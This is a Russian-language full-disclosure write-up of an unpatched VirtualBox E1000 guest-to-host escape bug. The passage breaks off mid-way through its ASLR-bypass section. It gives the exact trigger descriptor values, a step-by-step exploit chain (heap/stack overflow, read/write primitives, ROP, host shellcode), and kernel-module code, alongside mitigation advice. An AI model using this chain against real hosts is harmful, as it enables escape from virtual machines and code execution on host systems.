image


Мне нравится VirtualBox, и он не имеет никакого отношения к причине, по которой я выкладываю информацию об уязвимости. Причина заключается в несогласии с текущими реалиями в информационной безопасности, точнее, в направлении security research и bug bounty.


  1. Считается нормальным ждать патча для уязвимостей по полгода, если только эти баги уже не в публичном доступе.
  2. В области bug bounty-программ считается нормальным:
    1. Ждать больше месяца, пока уязвимость не будет проверена и не будет озвучено решение о её приобретении.
    2. На ходу менять решение о том, будет ли программа покупать баги для данного софта. Сегодня вы узнали, что да, купят, а через неделю приходите с багами и эксплоитами и получаете ответ, что нет, не купят.
    3. Не иметь чёткого списка приложений, за баги в котором будут платить. Да, удобно организаторам bug bounty, нет, неудобно исследователям.
    4. Не иметь чётко заданных верхних и нижних границ цен за уязвимости. Факторов, влияющих на цену, чрезвычайно много, но исследователи должны видеть, на что стоит тратить своё время, а что не стоит и дня работы.
  3. Мания величия и маркетинговая чушь: давать названия уязвимостям и создавать для них сайты; проводить тысячу конференций в год; преувеличивать важность своей работы; считать себя "спасителем мира". Спуститесь на землю, Ваше высочество.

Первые два пункта окончательно вымотали меня, поэтому мой ход — full disclosure.


Общая информация


Уязвимое ПО: VirtualBox 5.2.20 и более ранние версии.
Хостовая ОС: любая, баг находится в общей кодовой базе.
Гостевая ОС: любая.
Конфигурация ВМ: по умолчанию (для эксплуатации нужно только, чтобы сетевой картой была Intel PRO/1000 MT Desktop (82540EM), а режимом работы был NAT).


Как защититься


Пока не вышла пропатченная версия VirtualBox, измените в настройках своих виртуальных машин сетевую карту на PCnet (любую из двух) или на Paravirtualized Network. Если возможности сделать это нет, то измените для адаптера Intel режим работы с NAT на любой другой. Первый вариант надёжнее.


Введение


При создании новой виртуальной машины сетевым адаптером по умолчанию является Intel PRO/1000 MT Desktop (82540EM), настроенный на работу в режиме NAT. Для краткости мы будем называть его E1000.


Код виртуального устройства E1000 содержит уязвимость, которая позволяет атакующему с правами root/administrator в гостевой ОС осуществить побег в хостовую ОС и выполнить код в ring 3. Затем атакующий может воспользоваться уже известными техниками повышения привилегий до ring 0 с помощью драйвера VirtualBox /dev/vboxdrv.


Анализ уязвимости


Общие сведения о E1000


Для отправки сетевых пакетов гость делает всё то же самое, что и обычный компьютер: настраивает сетевой адаптер и отдаёт ему пакеты, которые состоят из фреймов канального уровня и прочих более высокоуровневых заголовков. Пакеты передаются адаптеру не сами по себе, а обёрнутыми в Tx-дескрипторы (Transmit Descriptor). Эти структуры данных, описанные в спецификации сетевой карты (317453006EN.PDF, Revision 4.0), хранят различную метаинформацию, такую как размер пакета или тег VLAN, управляют TCP/IP-сегментацией и т.д.


Спецификация 82540EM предусматривает три типа Tx-дескрипторов: legacy, context, data. Legacy-дескрипторы были актуальны, видимо, в прошлом. Остальные два используются в связке. Для нас важно только то, что context-дескрипторы задают максимальный размер пакета и включают/отключают TCP/IP-сегментацию, а в data-дескрипторы помещаются адреса пакетов в физической памяти и задаётся их размер. Размер пакета в data-дескрипторе не может быть больше, чем задано в context-дескрипторе. Context-дескрипторы передаются сетевой карте, как правило, до data-дескрипторов.


Чтобы передать Tx-дескрипторы сетевому адаптеру, они записываются в Tx-кольцо (Transmit Descriptor Ring). Это кольцевой буфер, располагающийся в физической памяти по заранее заданному адресу. Когда все требуемые дескрипторы записаны в кольцо, гость обновляет регистр TDT (Transmit Descriptor Tail) в MMIO адаптера, что сигнализирует хосту о появлении новых дескрипторов, которые нужно обработать.


Исходные данные


У нас имеется следующий массив Tx-дескрипторов:


[context_1, data_2, data_3, context_4, data_5]

Допустим, что в них содержится следующая информация (названия полей специально сделаны человекочитаемыми, но они соответствуют полям дескрипторов из спецификации 82540EM):


context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Вскоре мы разберёмся, почему дескрипторы должны быть именно такими для эксплуатации ошибки.


Суть уязвимости


Обработка [context_1, data_2, data_3]


Представим, что гость записал в точной последовательности приведённые выше дескрипторы в Tx-кольцо и обновил регистр TDT. Теперь процесс VirtualBox на хосте выполнит функцию e1kXmitPending, располагающуюся в файле src/VBox/Devices/Network/DevE1000.cpp (большинство комментариев здесь и далее удалены в угоду читаемости):


static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
        while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
        {
            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Функция e1kTxDLazyLoad считает все 5 Tx-дескрипторов из Tx-кольца. Затем e1kLocateTxPacket будет вызвана в первый раз. Эта функция обходит все дескрипторы и подготавливает состояние для дальнейшей работы, но основную работу по обработке дескрипторов не выполняет. В нашем случае первый вызов e1kLocateTxPacket обработает дескрипторы context_1, data_2, data_3. Два оставшихся дескриптора, context_4 и data_5, будут обработаны на следующей итерации цикла while (мы рассмотрим вторую итерацию в следующем разделе). Это разбиение массива дескрипторов надвое ведёт к важным последствиям, поэтому посмотрим, почему оно происходит.


Функция e1kLocateTxPacket выглядит так:


static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

Первый дескриптор (context_1) — E1K_DTYP_CONTEXT, поэтому вызывается функция e1kUpdateTxContext. Эта функция обновляет контекст TCP-сегментации, если в дескрипторе была запрошена сегментация. Это истинно для нашего дескриптора context_1 (см. предыдущий раздел), поэтому контекст TCP-сегментации будет обновлён (суть "обновления контекста TCP-сегментации" нам неинтересна, поэтому будем использовать этот термин просто для того, чтобы ссылаться на данный участок кода).


Второй дескриптор (data_2) — E1K_DTYP_DATA, для него выполняются некоторые другие действия, не имеющие для нас значения.


Третий дескриптор (data_3) — E1K_DTYP_DATA, но поскольку data_3.data_length == 0 (pDesc->data.cmd.u20DTALEN в коде выше), никаких действий не выполняется.
В данный момент времени все три дескриптора первоначально обработаны, и у нас есть ещё два необработанных дескриптора. Теперь фокус: в вышеприведённом коде после оператора switch идёт проверка, установлен ли флаг end_of_packet в дескрипторе. Это истинно для дескриптора data_3 (data_3.end_of_packet == true), поэтому код выполняет некоторые действия и выходит из функции:


        if (pDesc->legacy.cmd.fEOP)
        {
            ...
            return true;
        }

Если бы флаг data_3.end_of_packet не был установлен, тогда оставшиеся два дескриптора были бы также первоначально обработаны, и это предотвратило бы уязвимость. Ниже вы увидите, почему этот выход из функции ещё до обхода всех дескрипторов ведёт к багу.


Итак, при возврате из e1kLocateTxPacket мы имеем следующие дескрипторы, готовые к тому, чтобы извлечь из них сетевые пакеты и отправить в сеть: context_1, data_2, data_3. Теперь во внутреннем цикле while функции e1kXmitPending вызывается e1kXmitPacket. Эта функция снова обходит все дескрипторы (5 в нашем случае), чтобы наконец-таки обработать их:


static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

Для каждого дескриптора вызывается функция e1kXmitDesc:


static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
                       bool fOnWorkerThread)
{
...
    switch (e1kGetDescType(pDesc))
    {
        case E1K_DTYP_CONTEXT:
            ...
            break;
        case E1K_DTYP_DATA:
        {
            ...
            if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
            {
                E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf));
            }
            else
            {
                if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
                {
                    ...
                }
                else if (!pDesc->data.cmd.fTSE)
                {
                    ...
                }
                else
                {
                    STAM_COUNTER_INC(&pThis->StatTxPathFallback);
                    rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
                }
            }
            ...

Первый дескриптор, который передаётся в e1kXmitDesc, это context_1. Функция не делает ничего для context-дескрипторов.


Второй дескриптор это data_2. Поскольку для всех data-дескрипторов у нас установлен флаг tcp_segmentation_enable == true (pDesc->data.cmd.fTSE в коде выше), мы вызываем функцию e1kFallbackAddToFrame, где позже произойдёт переполнение целочисленной переменной при обработке дескриптора data_5.


static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS;
}

Самые важные для нас переменные здесь: u16MaxPktLen, pThis->u16TxPktLen, pDesc->data.cmd.u20DTALEN.


Нарисуем таблицу, где будут указаны значения переменных до и после выполнения функции e1kFallbackAddToFrame для двух data-дескрипторов.


Tx-дескриптор До/После u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_2 До 0x3010 0 0x10
- После 0x3010 0x10 0
data_3 До 0x3010 0x10 0
- После 0x3010 0x10 0

Для нас здесь важно только то, что когда data_3 обработан, pThis->u16TxPktLen равен 0x10.
А теперь самый важный момент. Взгляните ещё раз на конец листинга для функции e1kXmitPacket:


        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;

Поскольку тип дескриптора data_3 не равен E1K_DTYP_CONTEXT, и поскольку data_3.end_of_packet == true, мы делаем break из цикла несмотря на тот факт, что нам нужно ещё обработать context_4 и data_5. Мы снова не закончили работу с дескрипторами, как и в случае с первоначальной обработкой. Почему это важно? Чтобы понять суть уязвимости, нужно понять, что все context-дескрипторы обрабатываются до data-дескрипторов. Context-дескрипторы обрабатываются в процессе обновления контекста TCP-сегментации в функции e1kLocateTxPacket. Data-дескрипторы обрабатываются позднее, в функции e1kXmitPacket. Разработчики сделали так для того, чтобы запретить изменение переменной u16MaxPktLen, которая контроллируется context-дескрипторами, после того как несколько байт сетевых пакетов были обработаны. Если бы мы могли в любой момент времени изменять context-дескрипторы, то легко могли бы добиться целочисленного переполнения в e1kFallbackAddToFrame (размер обработанных данных лежит в pThis->u16TxPktLen):


uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Но мы можем обойти эту защиту от переполнения. Вспомните, что ещё в e1kLocateTxPacket мы заставили функцию выполнить возврат из-за того, что data_3.end_of_packet == true. Из-за этого у нас остались ещё два дескриптора (context_4 и data_5), ожидающих первоначальной и финальной обработки несмотря на то, что мы уже обработали несколько байт (pThis->u16TxPktLen равен 0x10, а не нулю).


Итак, у нас появилась возможность изменить u16MaxPktLen произвольным образом с помощью context_4.maximum_segment_size, чтобы добиться целочисленного переполнения.


Обработка [context_4, data_5]


Мы полностью обработали первые три дескриптора и возвращаемся в начало внутреннего цикла while функции e1kXmitPending:


            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Здесь мы вызываем e1kLocateTxPacket, чтобы выполнить первоначальную обработку context_4 и data_5. Как было сказано ранее, мы можем установить значение context_4.maximum_segment_size произвольным образом, в т.ч. таким, что оно будет меньше размера данных, которые мы уже обработали. Вспомните наши исходные данные:


context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

После выполнения e1kLocateTxPacket мы имеем максимальный размер сетевого пакета равным 0xF, в то время как размер уже обработанных данных равен 0x10.


Наконец, в процессе обработки data_5 вызывается функция e1kFallbackAddToFrame, где мы имеем следующие значения переменных:


Tx-дескриптор До/После u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_5 До 0xF 0x10 0x4188
- После - - -

Как следствие, возникает целочисленное переполнение:


uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

Это позволяет нам успешно выполнить следующую проверку, т.к. 0xFFFFFFFF > 0x4188:


        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

Теперь будет вызвана функция e1kFallbackAddSegment с размером (cb), равным 0x4188. Без уязвимости невозможно вызвать эту функцию с размером, большим 0x4000, т.к. в процессе обновления контекста TCP-сегментации выполняется проверка, что максимальный размер сегмента меньше либо равен 0x4000:


DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
...
        uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
        if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
        {
            pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
            ...
        }

Переполнение буфера


Каким образом мы можем проэксплуатировать нашу возможность вызывать функцию e1kFallbackAddSegment с произвольным размером? Я нашёл как минимум две возможности. Во-первых, те данные, которые передаёт гость, копируются в буфер на куче:


static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Здесь pThis->aTxPacketFallback это буфер размером 0x3FA0, а u16Len равен 0x4188 — очевидное переполнение кучи, которое может привести, допустим, к перезаписи указателей на функции, объекты или чего угодно ещё.


Во-вторых, если мы посмотрим поглубже, то найдём, что e1kFallbackAddSegment вызывает функцию e1kTransmitFrame, которая при определённой конфигурации регистров сетевого адаптера вызывает e1kHandleRxPacket. Эта функция выделяет на стеке буфер размером 0x4000 и копирует в него данные с заданным размером без каких-либо проверок, т.к. они были выполнены ранее:


static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

Как видите, мы преобразовали уязвимость целочисленного переполнения в классическую уязвимость переполнения стекового буфера. Оба приведённых выше примера, heap buffer overflow и stack buffer overflow, задействованы в эксплоите.


Эксплоит


Эксплоитом является модуль ядра Linux, который загружается в гостевой ОС. Для Windows потребуется драйвер, который будет отличаться разве что обёрткой для инициализации да другими вызовами ядерного API.


Загрузка драйвера в обеих операционных системах требует повышенных привилегий. Это нормальное явление и не считается непреодолимой преградой. Для примера можно взглянуть на соревнование Pwn2Own, где исследователи применяют цепочки эксплоитов: в гостевой ОС эксплуатируется браузер, открывший "вредоносный" сайт, делается побег из песочницы браузера для полного доступа к контексту ring 3, эксплуатируется уязвимость в операционной системе для получения доступа к ring 0, откуда открываются все возможности для атаки на гипервизор из гостевой ОС.


Конечно, самыми мощными уязвимостями в гипервизорах являются те, которые эксплуатируются из ring 3 гостя. В VirtualBox тоже есть код, который достижим без root-привилегий, и он ещё слабо изучен.


Эксплоит стабилен на 100%. Это значит, что он либо работает всегда, либо не работает вообще из-за несоответствующих бинарников или чего-то более проблемного, мной не предусмотренного. На гостевых Ubuntu 16.04 и 18.04 x86_64 с конфигурацией по умолчанию он работает.


Алгоритм эксплуатации


  1. Атакующий выгружает модуль ядра e1000.ko, работающий по умолчанию в гостевых системах Linux, и загружает свой драйвер.
  2. Драйвер инициализирует сетевой адаптер E1000 в соответствии со спецификацией. Инициализируется только transmit-часть, т.к. receive-часть не используется.
  3. Шаг 1: information leak.
    1. Отключается loopback-режим сетевого адаптера, благодаря чему код, содержащий stack buffer overflow, будет недостижим.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow, но не stack buffer overflow.
    3. Heap buffer overflow приводит к тому, что при взаимодействии с EEPROM сетевого адаптера можно записать любые два байта относительно буфера на куче в пределах 128 килобайт. Тем самым атакующий получает write-примитив.
    4. С помощью write-примитива восемь раз делается запись байта в структуру данных на куче, относящуюся к устройству ACPI (Advanced Configuration and Power Interface). Байт записывается в переменную, которая используется при обращении к ACPI как индекс в массиве на куче, из которого будет считан один байт. Поскольку размер массива меньше числа, помещающегося в байт (255), атакующий получает возможность читать за пределами массива, т.е. получает read-примитив.
    5. С помощью read-примитива атакующий делает 8 запросов к ACPI и получает 8 байт с кучи. Эти 8 байт — указатель относительно динамической библиотеки VBoxDD.so.
    6. Драйвер вычитает константу из указателя и получает базовый адрес библиотеки VBoxDD.so.
  4. Шаг 2: stack buffer overflow.
    1. Включается loopback-режим сетевого адаптера, благодаря чему будет достижим код, содержащий stack buffer overflow.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow и stack buffer overflow. Перезаписывается сохранённый на стеке адрес возврата (RIP/EIP). Атакующий получает контроль над исполнением.
    3. Выполняется цепочка ROP-гаджетов, которая передаёт управление на загрузчик шеллкода.
  5. Шаг 3: shellcode.
    1. Загрузчик шеллкода копирует рядом с собой основной шеллкод с буфера на стеке. Управление передаётся на шеллкод.
    2. Шеллкод делает системные вызовы fork и execve для создания произвольного процесса на стороне хоста.
    3. Родительский процесс выполняет заключительные действия для того, чтобы виртуальная машина не скрашилась и продолжила нормальную работу.
  6. Атакующий выгружает драйвер и подгружает e1000.ko обратно, чтобы гостевая ОС могла продолжить работать с сетью.

Инициализация


Драйвер отображает участок физической памяти, соответствующий MMIO сетевой карты, на виртуальную память. Физический адрес и размер задаётся гипервизором.


void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Затем выполняется конфигурация регистров общего назначения E1000, выделяется память под Tx-кольцо и конфигурируются transmit-регистры.


void e1000_init(void* mmio) {
    // Configure general purpose registers

    configure_CTRL(mmio);

    // Configure TX registers

    g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
    if (!g_tx_ring) {
        printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
        return;
    }

    configure_TDBAL(mmio);
    configure_TDBAH(mmio);
    configure_TDLEN(mmio);
    configure_TCTL(mmio);
}

Обход ASLR


Write-примитив


С начала разработки эксплоита я решил отказаться от использования примитивов, найденных в подсистемах VirtualBox, отключённых по умолчанию. В первую очередь имеется в виду служба Chromium (не браузер), отвечающая за 3D-ускорение, в которой за последний год исследователи нашли более 40 уязвимостей. Information leak — это утечка информации, как правило указателя относительно какой-нибудь динамической библиотеки, по которому можно получить её базовый адрес и обойти защиту ASLR.


Встала задача: найти уязвимость класса information leak в компонентах, работающих по умолчанию. Появилась очевидная мысль, что раз наша основная уязвимость позволяет переполнить кучу, т.е. относится к классу heap buffer overflow, мы контролируем всё, что находится за пределами этого буфера. Дальше мы увидим, что не понадобились никакие дополнительные уязвимости: наш integer underflow оказался столь мощным, что дал read- и write-примитивы, а также information leak и stack buffer overflow.


Посмотрим, что именно переполняется на куче.


/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Здесь aTxPacketFallback — это буфер размером 0x3FA0, который будет переполнен данными, считываемыми из data-дескриптора. Ища, какие интересные поля за этим буфером можно изменить, на глаза попалась структура E1kEEPROM. Внутри неё есть другая структура с такими полями (файл src/VBox/Devices/Network/DevE1000.cpp):


/**
 * 93C46-compatible EEPROM device emulation.
 */
struct EEPROM93C46
{
...
    bool m_fWriteEnabled;
    uint8_t Alignment1;
    uint16_t m_u16Word;
    uint16_t m_u16Mask;
    uint16_t m_u16Addr;
    uint32_t m_u32InternalWires;
...
}

Что нам может дать их модификация? В коде E1000 реализована работа с EEPROM — постоянной памятью сетевого адаптера. Гостевая ОС может получить к ней доступ, используя определённые MMIO-регистры E1000. Работа с EEPROM реализована в виде конечного автомата, который имеет несколько состояний и выполняет четыре действия. Нас будет интересовать только действие "запись в память". Вот как оно выглядит (файл src/VBox/Devices/Network/DevEEPROM.cpp):


EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Здесь m_u16Addr, m_u16Word и m_fWriteEnabled — это значения полей в структуре EEPROM93C46, которую мы полностью контролируем. Поэтому можно задать их таким образом, что при выполнении инструкции


m_au16Data[u32Addr] = u16Value;

два байта будут записан по произвольному 16-битовому смещению от массива m_au16Data, который располагается в той же структуре. Мы нашли write-примитив.


Read-примитив


Следующая задача заключалась в поиске структур данных на куче, в которые был бы смысл записывать произвольные данные, не забывая, что основная цель — слить указатель относительно какого-нибудь модуля, чтобы получить его базовый адрес. К счастью, прибегать к нестабильному заполнению кучи (heap spray) не пришлось, т.к. оказалось, что основные структуры данных для виртуальных устройств выделяются из внутренней кучи гипервизора таким образом, что при каждом запуске VirtualBox расстояние между этими блоками кучи одинаковое несмотря на то, что виртуальные адреса блоков при каждом запуске, конечно же, различаются благодаря ASLR.


Говоря конкретно, при запуске VirtualBox подсистема PDM (Pluggable Device and Driver Manager) для каждого устройства создаёт объект PDMDEVINS, который выделяется из кучи гипервизора.


int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Я прогнал этот участок кода под отладчиком GDB с помощью скрипта и получил примерно такой вывод:


[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' <repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' <repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

Нас интересует устройство под индексом 0xE, соответствующее E1000. Во втором списке видно, что следующее за E1000 устройство находится на расстоянии 0x5700 байт, следующее — ещё 0x19E0 байт и т.д. И как было сказано выше, эти расстояния всегда одинаковые, что открывает перед нами море возможностей эксплуатации.


После E1000 мы имеем следующие устройства в порядке возрастания адресов: ICH IC'97, OHCI, ACPI, VirtualBox GIM. Изучая структуры данных, соответствующие этим устройствам, я нашёл прекрасную возможность применить наш write-примитив.


При запуске виртуальной машины создаётся устройство ACPI (файл src/VBox/Devices/PC/DevACPI.cpp):


typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
